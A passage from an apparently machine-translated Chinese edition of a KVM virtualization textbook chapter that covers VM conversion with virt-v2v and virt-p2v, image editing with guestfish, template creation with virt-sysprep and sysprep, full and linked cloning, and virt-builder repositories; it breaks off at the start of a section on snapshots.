Format**(**OVF**)模板(将 VM 文件下载到您的`Downloads`目录)。 -3. 从[https://code.vmware.com/web/tool/4.3.0/ovf](https://code.vmware.com/web/tool/4.3.0/ovf)安装 Vmware`OVFtool`实用程序。 -4. 将导出的 VM 文件移动到`OVFtool`安装文件夹。 -5. 将 OVF 格式的 VM 转换为**Open Virtualization Appliance**(**OVA**)格式。 - -我们需要`OVFtool`进行此操作的原因相当令人失望-VMware 似乎取消了直接导出 OVA 文件的选项。 幸运的是,`OVFtool`适用于基于 Windows、Linux 和 OSX 的平台,因此使用它不会有问题。 以下是该过程的最后一步: - -![Figure 8.1 – Using OVFtool to convert OVF to OVA template format ](img/B14834_08_01.jpg) - -图 8.1-使用 OVFtool 将 OVF 转换为 OVA 模板格式 - -完成此操作后,我们可以轻松地将`v2v.ova`文件上传到我们的 KVM 主机,并在`ova`文件目录中键入以下命令: - -```sh -virt-v2v -i ova v2v.ova -of qcow2 -o libvirt -n default -``` - -`-of`和`-o`选项指定输出格式(`qcow2`libvirt 映像),`-n`确保 VM 连接到默认虚拟网络。 - -如果需要将 Hyper-V VM 转换为 KVM,可以执行以下操作: - -```sh -virt-v2v -i disk /location/of/virtualmachinedisk.vhdx -o local -of qcow2 -os /var/lib/libvirt/images -``` - -请确保正确指定 VM 磁盘位置。 `-o local`和`-os /var/lib/libvirt/images`选项确保转换后的磁盘映像保存在本地指定的目录(KVM 默认映像目录)中。 - -还有其他类型的 VM 转换过程,例如将物理机转换为虚拟机。 我们现在就来报道这一点。 - -## 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 - -现在我们已经介绍了`virt-v2v`,让我们切换到`virt-p2v`。 基本上,`virt-v2v`和`virt-p2v`执行的任务与相似,但`virt-p2v`的目标是将*物理*计算机转换为*VM*。 从技术上讲,这是非常不同的,因为使用`virt-v2v`我们可以直接访问管理服务器和虚拟机管理器,并动态转换虚拟机(或通过 OVA 模板)。 对于物理机,没有管理机可以提供某种支持或**应用编程接口**(**API**)来执行转换过程。 我们必须*直接攻击*物理机。 在真实的 IT 世界中,这通常是通过某种代理或其他应用来完成的。 - -举例来说,如果您想要将物理 Windows 计算机转换为基于 VMware 的 VM,则必须在需要转换的系统上安装独立的 VMware vCenter Converter。 然后,您必须选择正确的操作模式并*流式*将整个转换过程传输到 vCenter/ESXi。 它确实运行得相当好,但是--例如--RedHat 的方法有点不同。 它使用引导介质来转换物理服务器。 因此,在使用此转换过程之前,您必须登录客户门户(对于**Red Hat Enterprise Linux**(**https://access.redhat.com/downloads/content/479/ver=/rhel---8/8.0/x86_64/product-software**)8.0,您必须登录到客户门户(位于[RHEL](https://access.redhat.com/downloads/content/479/ver=/rhel---8/8.0/x86_64/product-software)),并且您可以从菜单中切换版本)。 然后,您必须下载正确的映像,并使用`virt-p2v`和`virt-p2v-make-disk`实用程序创建映像。 但是,请注意,`virt-p2v-make-disk`实用程序使用的是`virt-builder`,我们将在本章稍后的单独部分介绍它。 所以,让我们暂时搁置这个讨论,因为我们很快就会全力以赴地回到这个问题上来。 - -另外,在此命令支持的目的地列表中,我们可以使用 Red Hat Enterprise Virtualization、OpenStack 或 KVM/`libvirt`。 就支持的体系结构而言,`virt-p2v`仅在基于 x86_64 的平台上受支持,并且仅当它在 RHEL/CentOS 7 和 8 上使用时才受支持。计划执行 P2V 转换时请牢记这一点。 - -## 客鱼 - -在本章的这一介绍部分中,我们要讨论的最后一个实用程序称为`guestfish`。 这是一个非常、非常重要的实用程序,它使您能够使用实际的 VM 文件系统执行各种高级操作。 我们还可以使用它执行不同类型的转换-例如,将**国际标准化组织**(**ISO**)映像转换为`tar.gz`;将虚拟磁盘映像从`ext4`文件系统转换为**逻辑卷管理**(**LVM**)支持的`ext4`文件系统;等等。 我们将向您展示几个示例,说明如何使用它打开一个 VM 镜像文件并查找一些内容。 - -第一个示例非常常见-您已经准备了一个带有完整 VM 的`qcow2`映像;安装了访客操作系统;一切都已配置好;您已经准备好将该 VM 文件复制到要重用的地方;以及……。 您还记得您没有根据某些规范配置 root 密码。 假设这是您必须为客户端执行的操作,并且该客户端对初始根密码有特定的根密码要求。 这使得客户端更容易-他们不需要您在电子邮件中发送密码;他们只需要记住一个密码;并且,在收到映像后,它将用于创建 VM。 在创建并运行虚拟机之后,根密码将根据安全实践更改为客户端使用的密码。 - -因此,基本上,第一个示例说明了作为*人*意味着什么-忘记做某事,然后想要修复它,但是(在本例中)没有实际运行 VM,因为这可能会更改相当多的设置,特别是如果您的`qcow2`映像是在考虑到 VM 模板的情况下创建的,在这种情况下,您*肯定不想启动那个 VM 来修复一些东西。 有关这一点的更多信息,请参阅本章的下一部分。* - -这是`guestfish`的理想用例。 假设我们的`qcow2`图像称为`template.qcow2`。 让我们将 root 密码更改为其他密码-例如,`packt123`。 首先,我们需要该密码的散列。 最简单的方法是使用带有`-6`选项的`openssl`(相当于 SHA512 加密),如以下屏幕截图所示: - -![Figure 8.2 – Using openssl to create an SHA512-based password hash ](img/B14834_08_02.jpg) - -图 8.2-使用 OpenSSL 创建基于 SHA512 的密码散列 - -现在我们有了散列,我们可以挂载和编辑映像了,如下所示: - -![Figure 8.3 – Using guestfish to edit the root password inside our qcow2 VM image ](img/B14834_08_03.jpg) - -图 8.3-使用 Guestfish 在我们的 qco2VM 映像中编辑超级用户密码 - -我们键入的 shell 命令用于直接访问映像(无需`libvirt`参与),并以读写模式挂载映像。 然后,我们启动会话(`guestfish run`命令),检查映像中存在哪些文件系统(`list-filesystems`),并将文件系统挂载到根文件夹。 在倒数第二步中,我们将 root 的密码散列更改为`openssl`创建的散列。 命令`exit`关闭我们的`guestfish`会话并保存更改。 - -例如,您可以使用类似的原理从`/etc/ssh`目录中删除忘记的`sshd`键,删除 USER`ssh`目录,等等。 这个过程可以在下面的屏幕截图中看到: - -![Figure 8.4 – Using virt-customize to execute command inside a qcow2 image ](img/B14834_08_04.jpg) - -图 8.4-使用 virt-Customize 在 qcot2 镜像中执行命令 - -第二个示例也非常有用,因为它涉及下一章(`cloud-init`)中介绍的一个主题,该主题通常用于通过操作 VM 实例的早期初始化来配置云 VM。 此外,从更广泛的角度来看,您可以使用此`guestfish`示例来操作 VM 映像中的服务配置*。 因此,假设我们的虚拟机映像被配置为自动启动`cloud-init`服务。 无论出于什么原因,我们都希望禁用该服务-例如,调试`cloud-init`配置中的错误。 如果我们没有能力操作`qcow`映像内容,我们将不得不启动该 VM,使用`systemctl`禁用*服务,如果这是一个 VM 模板,则可能执行整个过程来重新密封该 VM。 因此,让我们使用`guestfish`实现相同的目的,如下所示: - -![Figure 8.5 – Using guestfish to disable the cloud-init service on VM startup ](img/B14834_08_05.jpg) - -图 8.5-在虚拟机启动时使用 Guestfish 禁用 cloud-init 服务 - -重要音符 - -在本例中要小心,因为通常我们会在命令和选项之间使用空格字符`ln -sf`。 在我们的`guestfish`示例中并非如此-它需要使用*而不带*空格。 - -最后,假设我们需要将一个文件复制到我们的映像中。 例如,我们需要将本地`/etc/resolv.conf`文件复制到镜像中,因为我们忘记正确配置我们的**域名系统**(**DNS**)服务器。 为此,我们可以使用`virt-copy-in`命令,如以下屏幕截图所示: - -![Figure 8.6 – Using virt-copy-in to copy a file to our image ](img/B14834_08_06.jpg) - -图 8.6-使用 virt-copy-in 将文件复制到我们的映像 - -我们在本章的这部分中涵盖的主题对于接下来的讨论非常重要,下一部分是关于创建 VM 模板的讨论。 - -# VM 模板 - -VM 最常见的用例之一是创建 VM*模板*。 因此,假设我们需要创建一个要用作模板的 VM。 我们在这里按字面意思使用术语*模板*,与在中使用 Word、Excel、PowerPoint 等模板的方式相同,因为 VM 模板的存在是出于完全相同的原因--为我们预配置一个熟悉的*工作环境,这样我们就不需要从头开始了。 在 VM 模板的情况下,我们讨论的是*不从头开始安装 VM 客户操作系统*,这是一个巨大的时间节约。 想象一下,有一项任务需要为某种测试环境部署 500 台虚拟机,以测试横向扩展时的工作情况。 即使考虑到可以并行安装的事实,从头开始做这件事也会耗费数周时间。* - - *VM 需要被视为*对象*,并且它们具有某些*属性*或*属性*。 从之外的*角度看(从`libvirt`角度看),VM 具有名称、虚拟磁盘、虚拟**中央处理单元**(**CPU**)和内存配置、到虚拟交换机的连接性等。 我们在[*第 7 章*](07.html#_idTextAnchor125),*VM:安装、配置和生命周期管理*中讨论了此主题。 话虽如此,我们并没有触及*虚拟机内部的*主题。 从这个角度(基本上,从访客操作系统角度来看),VM 还具有某些属性-已安装的访客操作系统系统版本、**网际协议**(**IP**)配置、**虚拟局域网**(**VLAN**)配置…。 在此之后,它取决于该系列 VM 基于哪种操作系统。 因此,我们需要考虑以下几点:* - -* 如果我们谈论的是基于 Microsoft Windows 的 VM,我们必须考虑服务和软件配置、注册表配置和许可证配置。 -* 如果我们谈论的是基于 Linux 的 VM,我们必须考虑服务和软件配置、**安全外壳**(**SSH**)密钥配置、许可证配置等等。 - -它可以比这更具体。 例如,为基于 Ubuntu 的 VM 准备模板与为基于 CentOS 8 的 VM 准备模板是不同的。 要正确创建这些模板,我们需要学习一些基本步骤,然后我们可以在每次创建 VM 模板时重复使用这些步骤。 - -考虑这个示例:假设您希望创建四个 Apache Web 服务器来托管您的 Web 应用。 通常情况下,使用传统的手动安装方法,您必须首先创建四个具有特定硬件配置的虚拟机,在每个虚拟机上逐个安装操作系统,然后使用`yum`或其他软件安装方法下载并安装所需的 Apache 包。 这是一项耗时的工作,因为你将主要做重复性的工作。 但是使用模板方法,它可以在时间内完成。 多么?。 因为您将绕过操作系统安装和其他配置任务,直接从模板中派生虚拟机,该模板由预配置的操作系统映像组成,其中包含可供使用的所有必需的 Web 服务器软件包。 - -下面的屏幕截图显示了手动安装方法中涉及的步骤。 您可以清楚地看到,*步骤 2-5*只是在所有四个虚拟机上执行的重复性任务,它们将占用准备好 Apache Web 服务器所需的大部分时间: - -![Figure 8.7 – Installing four Apache web servers without VM templates ](img/B14834_08_07.jpg) - -图 8.7-在没有 VM 模板的情况下安装四台 Apache Web 服务器 - -现在,只需遵循*步 1-5*一次,创建一个模板,然后使用它部署四个相同的虚拟机,就可以显著减少步骤数。 这会为你节省很多时间。 您可以在下图中看到不同之处: - -![Figure 8.8 – Installing four Apache web servers by using VM templates ](img/B14834_08_08.jpg) - -图 8.8-使用虚拟机模板安装四台 Apache Web 服务器 - -不过,这并不是故事的全部。 实际从*步骤 3*转到*步骤 4*(从**创建模板**到部署 VM1-4)有不同的方式,包括完整克隆过程或链接克隆过程,详情如下: - -* **完整克隆**:使用完全克隆机制部署的虚拟机创建虚拟机的完整副本,问题是它将使用与原始虚拟机相同的容量。 -* **链接克隆**:使用精简克隆机制部署的虚拟机以只读模式使用模板映像作为基础映像,并链接额外的**写入时复制*****(COW)**映像来存储新生成的数据。 此资源调配方法在云和**虚拟桌面基础架构**(**VDI**)环境中大量使用*,因为它节省了大量磁盘空间。 请记住,快速存储容量是非常昂贵的,因此在这方面进行任何形式的优化都将是一大笔钱。 链接克隆也会对性能产生影响,正如我们稍后将讨论的。** - - **现在,让我们看看模板是如何工作的。 - -## 使用模板 - -在本节中,您将了解如何使用`virt-manager`中提供的`virt-clone`选项创建 Windows 和 Linux VM 的模板。 虽然`virt-clone`实用程序最初不是用于创建模板,但当与`virt-sysprep`和其他操作系统密封实用程序一起使用时,它可以满足这一目的。 请注意,克隆映像和主映像之间是有区别的。 克隆映像只是一个 VM,而主映像是可用于部署成百上千个新 VM 的 VM 副本。 - -### 正在创建模板 - -模板是通过将 VM 转换为模板来创建的。 这实际上是一个由三个步骤组成的过程,包括以下内容: - -1. 使用所有需要的软件安装和自定义虚拟机,这些软件将成为模板或基本映像。 -2. 删除所有系统特定属性以确保 VM 唯一性-我们需要注意 SSH 主机密钥、网络配置、用户帐户、**媒体访问控制**(**MAC**)地址、许可证信息等。 -3. 通过使用模板作为前缀对虚拟机进行重命名,将其标记为模板。 某些虚拟化技术为此提供了特殊的 VM 文件类型(例如,VMware`.vmtx`文件),这实际上意味着您不必重命名 VM 即可将其标记为模板。 - -为了理解实际过程,让我们创建两个模板并从它们部署一个 VM。 我们的两个模板如下: - -* CentOS 8 虚拟机,具有完整的**Linux、Apache、MySQL 和 PHP**(**LAMP**)堆栈 -* 装有 SQL Server Express 的 Windows SServer 2019 虚拟机 - -让我们继续并创建这些模板。 - -#### 示例 1-准备带有完整灯堆的 CentOS8 模板 - -到目前为止,CentOS 的安装对我们来说应该是一个熟悉的主题,所以我们将只关注灯堆的*AMP*部分和模板部分。 因此,我们的程序将如下所示: - -1. 创建一个 VM 并使用您喜欢的安装方法在其上安装 CentOS 8。 保持最小值,因为此 VM 将用作为本例创建的模板的基础。 -2. SSH into or take control of the VM and install the LAMP stack. Here's a script for you to install everything needed for a LAMP stack on CentOS 8, after the operating system installation has been done. Let's start with the package installation, as follows: - - ```sh - yum -y update - yum -y install httpd httpd-tools mod_ssl - systemctl start httpd - systemctl enable httpd - yum -y install mariadb-server mariadb - yum install -y php php-fpm php-mysqlnd php-opcache php-gd php-xml php-mbstring libguestfs* - ``` - - 软件安装完成后,让我们进行一些服务配置-启动所有必要的服务并启用它们,然后重新配置防火墙以允许连接,如下所示: - - ```sh - systemctl start mariadb - systemctl enable mariadb - systemctl start php-fpm - systemctl enable php-fpm - firewall-cmd --permanent --zone=public --add-service=http - firewall-cmd --permanent --zone=public --add-service=https - systemctl reload firewalld - ``` - - 我们还需要配置一些与目录所有权相关的安全设置-例如,Apache Web 服务器的**安全增强型 Linux**(**SELinux**)配置。 接下来让我们这样做,就像这样: - - ```sh - chown apache:apache /var/www/html -R - semanage fcontext -a -t httpd_sys_content_t "/var/www/html(/.*)?" - restorecon -vvFR /var/www/html - setsebool -P httpd_execmem 1 - ``` - -3. After this has been done, we need to configure MariaDB, as we have to set some kind of MariaDB root password for the database administrative user and configure basic settings. This is usually done via a `mysql_secure_installation` script provided by MariaDB packages. So, that is our next step, as illustrated in the following code snippet: - - ```sh - mysql_secure_installation - ``` - - 启动`mysql_secure_installation`脚本后,它将询问我们一系列问题,如以下屏幕截图所示: - - ![Figure 8.9 – First part of MariaDB setup: assigning a root password that is empty after installation ](img/B14834_08_09.jpg) - - 图 8.9-MariaDB 安装的第一部分:在安装后分配一个空的 root 密码 - - 为 MariaDB 数据库分配 root 密码后,接下来的步骤与内务管理更相关-删除匿名用户、禁止远程登录等。 以下是向导的这一部分的外观: - - ![Figure 8.10 – Housekeeping: anonymous users, root login setup, test database data removal ](img/B14834_08_10.jpg) - - 图 8.10-内务:匿名用户、root 登录设置、测试数据库数据删除 - - 我们安装了所有必要的服务-Apache、MariaDB-以及所有必要的附加包(PHP、**FastCGI Process Manager**(**FPM**)),因此该 VM 已准备好进行模板化。 我们还可以向 Apache web 服务器引入某种内容(创建一个`sample index.html`文件并将其放入`/var/www/html`),但我们现在不打算这样做。 在生产环境中,我们只需将网页内容复制到该目录即可完成。 - -4. 现在已经按照我们想要的方式配置了所需的灯设置,关闭 VM 并运行`virt-sysprep`命令将其密封。 如果要*使超级用户密码*过期(转换-在下次登录时强制更改超级用户密码),请键入以下命令: - - ```sh - passwd --expire root - ``` - -我们的测试 VM 名为 LAMP,主机名为`PacktTemplate`,因此以下是通过一行命令提供的必要步骤: - -```sh -virsh shutdown LAMP; sleep 10; virsh list -``` - -我们的 LAMP VM 现在可以重新配置为模板。 为此,我们将使用`virt-sysprep`命令。 - -#### Virt-sysprep 是什么? - -这是`libguestfs-tools-c`包提供的命令行实用程序,用于简化 Linux VM 的密封和泛化过程。 它通过自动删除特定于系统的信息使 Linux VM 准备成为模板或克隆,以便可以从它创建克隆。 `virt-sysprep`可用于添加一些额外的配置信息,如用户、组、SSH 密钥等。 - -有两种方法可以针对 Linux VM 调用`virt-sysprep`:使用`-d`或`-a`选项。 第一个选项使用客户的名称或**通用唯一标识符**(**UUID**)指向目标客户,第二个选项指向特定的磁盘映像。 这为我们提供了使用`virt-sysprep`命令的灵活性,即使在`libvirt`中没有定义访客。 - -一旦执行了`virt-sysprep`命令,它就会执行一系列`sysprep`操作,通过从其中删除系统特定的信息来清除 VM 映像。 如果您有兴趣了解此命令在后台的工作方式,请将`--verbose`选项添加到该命令。 这个过程可以在下面的屏幕截图中看到: - -![Figure 8.11 – virt-sysprep works its magic on the VM ](img/B14834_08_11.jpg) - -图 8.11-virt-sysprep 在虚拟机上发挥其魔力 - -默认情况下,`virt-sysprep`执行 30 多个操作。 您还可以选择要使用的特定 sysprep 操作。 要获取所有可用操作的列表,请运行`virt-sysprep --list-operation`命令。 默认操作用星号标记。 您可以使用`--operations`开关更改默认操作,后跟逗号分隔的要使用的操作列表。 请参见以下示例: - -![Figure 8.12 – Using virt-sysprep to customize operations to be done on a template VM ](img/B14834_08_12.jpg) - -图 8.12-使用 virt-sysprep 自定义要在模板虚拟机上执行的操作 - -注意,这一次,它只执行`ssh-hostkeys`和`udev-persistentnet`操作,而不是典型的操作。 您希望在模板中进行多少清理由您决定。 - -现在,我们可以通过在其名称中添加单词*Template*作为前缀来将此 VM 标记为模板。 您甚至可以在备份 VM 的**可扩展标记语言**(**XML**)文件后,从`libvirt`取消定义 VM。 - -重要音符 - -确保从此永远不启动此 VM;否则,它将丢失所有 sysprep 操作,甚至可能导致使用精简方法部署的 VM 出现问题。 - -要重命名虚拟机,请使用`virsh domrename`作为根,如下所示: - -```sh -# virsh domrename LAMP LAMP-Template -``` - -我们的模板`LAMP-Template`现在已准备好用于未来的克隆过程。 您可以使用以下命令检查其设置: - -```sh -# virsh dominfo LAMP-Template -``` - -最终结果应该是这样的: - -![Figure 8.13 – virsh dominfo on our template VM ](img/B14834_08_13.jpg) - -图 8.13-模板虚拟机上的 virsh dominfo - -下一个示例将介绍如何使用预装的 Microsoft**结构化查询语言**(**SQL**)数据库准备 Windows Server 2019 模板-这是我们中的许多人需要在我们的环境中使用的常见用例。 让我们看看怎样才能做到这一点。 - -#### 示例 2-使用 Microsoft SQL 数据库准备 Windows Server 2019 模板 - -`virt-sysprep`不适用于 Windows 访客,而且近期添加支持的可能性很小。 因此,为了推广 Windows 计算机,我们必须访问 Windows 系统并直接运行`sysprep`。 - -**系统准备**(`sysprep`)工具是用于从 Windows 映像中删除系统特定数据的本机 Windows 实用程序。 要了解有关该实用程序的更多信息,请参阅本文:[https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/sysprep--generalize--a-windows-installation](https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/sysprep--generalize--a-windows-installation)。 - -我们的模板准备过程如下所示: - -1. 创建一个 VM 并在其上安装 Windows Server 2019 操作系统。 我们的虚拟机将被命名为`WS2019SQL`。 -2. 安装 Microsoft SQL Express 软件,按照您希望的方式进行配置后,重新启动 VM 并启动`sysprep`应用。 `sysprep`的`.exe`文件位于`C:\Windows\System32\sysprep`目录中。 通过在 Run 框中输入`sysprep`并双击`sysprep.exe`来导航到该位置。 -3. Under **System Cleanup Action**, select **Enter System Out-of-Box Experience (OOBE)** and click on the **Generalize** checkbox if you want to do **system identification number** (**SID**) regeneration, as illustrated in the following screenshot: - - ![Figure 8.14 – Be careful with sysprep options; OOBE, generalize, and shutdown options are highly recommended ](img/B14834_08_14.jpg) - - 图 8.14-小心使用 sysprep 选项;强烈建议使用 OOBE、GENERIZE 和 SHUTDOWN 选项 - -4. 在**关闭选项**下,选择**关闭**,然后单击**确定**按钮。 在此之后,`sysprep`进程将启动,当它完成时,它将被关闭。 -5. 使用我们在 LAMP 模板上使用的相同过程重命名 VM,如下所示: - - ```sh - # virsh domrename WS2019SQL WS2019SQL-Template - ``` - -同样,我们可以使用`dominfo`选项检查有关新创建的模板的基本信息,如下所示: - -```sh -# virsh dominfo WS2019SQL-Template -``` - -重要音符 - -以后更新模板时要小心-您需要运行它们、更新它们并重新密封它们。 对于 Linux 发行版,这样做不会有太多问题。 但是,序列化 Microsoft Windows`sysprep`(启动模板 VM、UPDATE、`sysprep`,并在将来重复该操作)会导致`sysprep`抛出错误。 所以,你可以在这里使用另一种思想流派。 您可以像我们在本章的这一部分那样完成整个过程,但不要`sysprep`。 这样,您就可以轻松地更新 VM,然后克隆它,然后`sysprep`它。 这会为你节省很多时间。 - -接下来,我们将了解如何从模板部署虚拟机。 - -## 从模板部署虚拟机 - -在上一节中,我们创建了两个模板图像;第一个模板图像在`libvirt`中仍被定义为`VM`并命名为`LAMP-Template`,第二个模板图像称为`WS2019SQL-Template`。 现在,我们将使用这两个 VM 模板从它们部署新的 VM。 - -### 使用完整克隆部署虚拟机 - -执行以下步骤以使用克隆资源调配部署虚拟机: - -1. Open the VM Manager (`virt-manager`), and then select the `LAMP-Template` VM. Right-click on it and select the **Clone** option, which will open the **Clone Virtual Machine** window, as illustrated in the following screenshot: - - ![Figure 8.15 – Cloning a VM from VM Manager ](img/B14834_08_15.jpg) - - 图 8.15-从虚拟机管理器克隆虚拟机 - -2. 为生成的虚拟机提供名称并跳过所有其他选项。 单击**克隆**按钮开始部署。 等待克隆操作完成。 -3. 一旦完成,新部署的 VM 就可以使用了,您可以开始使用它了。 您可以在以下屏幕截图中看到该过程的输出: - -![Figure 8.16 – Full clone (LAMP01) has been created ](img/B14834_08_16.jpg) - -图 8.16-已创建完整克隆(LAMP01) - -作为我们之前操作的结果,`LAMP01`VM 是从`LAMP-Template`部署的,但由于我们使用的是完全克隆方法,它们是独立的,即使您删除`LAMP-Template`,它们也可以正常运行。 - -我们还可以使用链接克隆,通过创建锚定到基本映像的 VM,将为我们节省大量磁盘空间。 接下来我们来做这件事。 - -### 使用链接克隆部署虚拟机 - -执行以下步骤以开始使用链接克隆方法进行虚拟机部署: - -1. 使用`/var/lib/libviimg/WS2019SQL.qcow2`作为备份文件创建两个新的`qcow2`镜像,如下所示: - - ```sh - # qemu-img create -b /var/lib/libviimg/WS2019SQL.qcow2 -f qcow2 /var/lib/libviimg/LinkedVM1.qcow2 - # qemu-img create -b /var/lib/libviimg/WS2019SQL.qcow2 -f qcow2 /var/lib/libviimg/LinkedVM2.qcow2 - ``` - -2. Verify that the backing file attribute for the newly created `qcow2` images is pointing correctly to the `/var/lib/libviimg/WS2019SQL.qcow2` image, using the `qemu-img` command. The end result of these three procedures should look like this: - - ![Figure 8.17 – Creating a linked clone image ](img/B14834_08_17.jpg) - - 图 8.17-创建链接克隆映像 - -3. 现在,让我们使用`virsh`命令将模板 VM 配置转储到两个 XML 文件。 我们这样做了两次,这样我们就有了两个 VM 定义。 更改几个参数后,我们将把它们作为两个新虚拟机导入,如下所示: - - ```sh - virsh dumpxml WS2019SQL-Template > /root/SQL1.xml - virsh dumpxml WS2019SQL-Template > /root/SQL2.xml - ``` - -4. By using the `uuidgen -r` command, generate two random UUIDs. We will need them for our VMs. The process can be seen in the following screenshot: - - ![Figure 8.18 – Generating two new UUIDs for our VMs ](img/B14834_08_18.jpg) - - 图 8.18-为我们的虚拟机生成两个新的 UUID - -5. Edit the `SQL1.xml` and `SQL2.xml` files by assigning them new VM names and UUIDs. This step is mandatory as VMs have to have unique names and UUIDs. Let's change the name in the first XML file to `SQL1`, and the name in the second XML file to `SQL2`. We can achieve that by changing the `` statement. Then, copy and paste the UUIDs that we created with the `uuidgen` command in the `SQL1.xml` and `SQL2.xml` `` statement. So, relevant entries for those two lines in our configuration files should look like this: - - ![Figure 8.19 – Changing the VM name and UUID in their respective XML configuration files ](img/B14834_08_19.jpg) - - 图 8.19-在各自的 XML 配置文件中更改 VM 名称和 UUID - -6. We need to change the virtual disk location in our `SQL1` and `SQL2` image files. Find entries for `.qcow2` files later in these configuration files and change them so that they use the absolute path of files that we created in *Step 1*, as follows: - - ![Figure 8.20 – Changing the VM image location so that it points to newly created linked clone images ](img/B14834_08_20.jpg) - - 图 8.20-更改虚拟机映像位置,使其指向新创建的链接克隆映像 - -7. Now, import these two XML files as VM definitions by using the `virsh` create command, as follows: - - ![Figure 8.21 – Creating two new VMs from XML definition files ](img/B14834_08_21.jpg) - - 图 8.21-从 XML 定义文件创建两个新虚拟机 - -8. Use the `virsh` command to verify if they are defined and running, as follows: - - ![Figure 8.22 – Two new VMs up and running ](img/B14834_08_22.jpg) - - 图 8.22-两个已启动并正在运行的新虚拟机 - -9. 虚拟机已经启动,因此我们现在可以检查链接克隆过程的最终结果。 这两个 VM 的两个虚拟磁盘应该相当小,因为它们都使用相同的基本映像。 让我们检查一下访客磁盘镜像大小-请注意,在下面的屏幕截图中,`LinkedVM1.qcow`和`LinkedVM2.qcow`文件大约都比它们的基本镜像小 50 倍: - -![Figure 8.23 – Result of linked clone deployment: base image, small delta images ](img/B14834_08_23.jpg) - -图 8.23-链接克隆部署的结果:基本映像、小增量映像 - -这将提供大量有关使用链接克隆过程的示例和信息。 不要看得太远(单个基础映像上有许多链接的克隆),您应该没问题。 但是现在,是时候转到我们的下一个话题了,它是关于`virt-builder`的。 如果您希望快速部署虚拟机,即无需实际安装它们,`virt-builder`概念非常重要。 为此,我们可以使用`virt-builder`repos。 接下来让我们学习如何做到这一点。 - -# virt-builder 和 virt-builder 报告 - -`libguestfs`包中最基本的工具之一是`virt-builder`。 假设您*真的*不想从头开始构建一个 VM,要么是因为您没有时间,要么就是不想麻烦您。 在本例中,我们将使用 CentOS 8,尽管现在支持的发行版列表大约为 50 个(发行版及其子版本),如以下截图所示: - -![Figure 8.24 – virt-builder supported OSes, and CentOS distributions ](img/B14834_08_24.jpg) - -图 8.24-virt-builder 支持的操作系统和 CentOS 发行版 - -在我们的测试场景中,我们需要尽快创建一个 CentOS8 映像,并从该映像创建一个 VM。 到目前为止,所有部署 VM 的方法都是基于从头开始安装、克隆或模板化的想法。 这些是*从零开始*或*deploy-first-template-or-template-second-provision-later*类型的机构。 如果还有其他办法呢? - -`virt-builder`为我们提供了一种实现这一目标的方法。 通过发出几个简单的命令,我们可以导入 CentOS8 映像,将其导入 KVM 并启动它。 让我们继续,如下所示: - -1. First, let's use `virt-builder` to download a CentOS 8 image with specified parameters, as follows: - - ![Figure 8.25 – Using virt-builder to grab a CentOS 8.0 image and check its size ](img/B14834_08_25.jpg) - - 图 8.25-使用 virt-builder 抓取 CentOS 8.0 映像并检查其大小 - -2. A logical next step is to do `virt-install`—so, here we go: - - ![Figure 8.26 – New VM configured, deployed, and added to our local KVM hypervisor ](img/B14834_08_26.jpg) - - 图 8.26-配置、部署新虚拟机并将其添加到本地 KVM 虚拟机管理器 - -3. 如果您觉得这很酷,让我们来扩展一下。 假设我们想要获取一个`virt-builder`映像,将名为`Virtualization Host`的`yum`包组添加到该映像中,然后在此过程中添加根的 SSH 密钥。 这就是我们要做的: - -![Figure 8.27 – Adding Virtualization Host ](img/B14834_08_27.jpg) - -图 8.27-添加虚拟化主机 - -实际上,这真的非常非常酷--它让我们的生活变得更轻松,为我们做了相当多的工作,并且以一种非常简单的方式完成了它,而且它也可以在 Microsoft Windows 操作系统上运行。 此外,我们还可以使用自定义的`virt-builder`存储库来下载特定的 VM,这些 VM 是根据我们自己的需求量身定做的,我们接下来将学习这一点。 - -## Virt-Builder 存储库 - -显然,有一些预定义的`virt-builder`存储库([http://libguestfs.org/](http://libguestfs.org/)就是其中之一),但我们也可以创建自己的存储库。 如果我们转到`/etc/virt-builder/repos.d`目录,我们将在那里看到几个文件(`libguestfs.conf`及其密钥,依此类推)。 我们可以轻松地创建自己的附加配置文件,以反映本地或远程`virt-builder`存储库。 假设我们想要创建一个本地`virt-builder`存储库。 让我们在`/etc/virt-builder/repos.d`目录中创建一个名为`local.conf`的配置文件,内容如下: - -```sh -[local] -uri=file:///root/virt-builder/index -``` - -然后,将镜像复制或移动到`/root/virt-builder` 目录(我们将使用上一步创建的`centos-8.0.img`文件,我们将使用`xz`命令将其转换为`xz`格式),并在该目录中创建一个名为`index`的文件,其内容如下: - -```sh -[Packt01] -name=PacktCentOS8 -osinfo=centos8.0 -arch=x86_64 -file=centos-8.0.img.xz -checksum=ccb4d840f5eb77d7d0ffbc4241fbf4d21fcc1acdd3679 c13174194810b17dc472566f6a29dba3a8992c1958b4698b6197e6a1689882 b67c1bc4d7de6738e947f -format=raw -size=8589934592 -compressed_size=1220175252 -notes=CentOS8 with KVM and SSH -``` - -我有几个解释。 `checksum`是通过在`centos-8.0.img.xz`上使用`sha512sum`命令计算的。 `size`和`compressed_size`是原始文件和 XZD 文件的实际大小。 在此之后,如果我们发出`virt-builder --list |more`命令,我们应该会得到如下内容: - -![Figure 8.28 – We successfully added an image to our local virt-builder repository ](img/B14834_08_28.jpg) - -图 8.28-我们成功地将映像添加到本地 virt-builder 存储库中 - -您可以清楚地看到,我们的`Packt01`映像位于我们列表的首位,我们可以轻松地使用它来部署新的虚拟机。 通过使用其他存储库,我们可以极大地增强我们的工作流程,并重用现有的虚拟机和模板来部署任意数量的虚拟机。 想象一下,与`virt-builder`的定制选项相结合,这对 OpenStack、**Amazon Web Services**(**AWS**)上的云服务会产生什么影响。 - -我们列表中的下一个主题与快照有关,这是一个非常有价值且被误用的 VM 概念。 有时,IT 中的概念可能是好的,也可能是坏的,在这方面快照通常是可疑的。 让我们来解释一下快照的全部内容。 - -# 快照 - -VM 快照是特定时间点的系统状态的基于文件的表示。 快照包括配置和磁盘数据。 使用快照,您可以将虚拟机恢复到某个时间点,这意味着通过拍摄虚拟机的快照,您可以保留其状态,并在将来需要时轻松恢复到该状态。 - -快照有许多使用情形,例如在潜在破坏性操作之前保存虚拟机的状态。 例如,假设您想要对当前运行正常的现有 Web 服务器 VM 进行一些更改,但您不确定计划进行的更改是否会奏效或会破坏某些东西。 在这种情况下,您可以在进行预期的配置更改之前拍摄 VM 的快照,如果出现问题,您可以通过恢复快照轻松地恢复到 VM 以前的工作状态。 - -`libvirt`支持拍摄实时快照。 您可以在访客运行时拍摄 VM 的快照。 但是,如果 VM 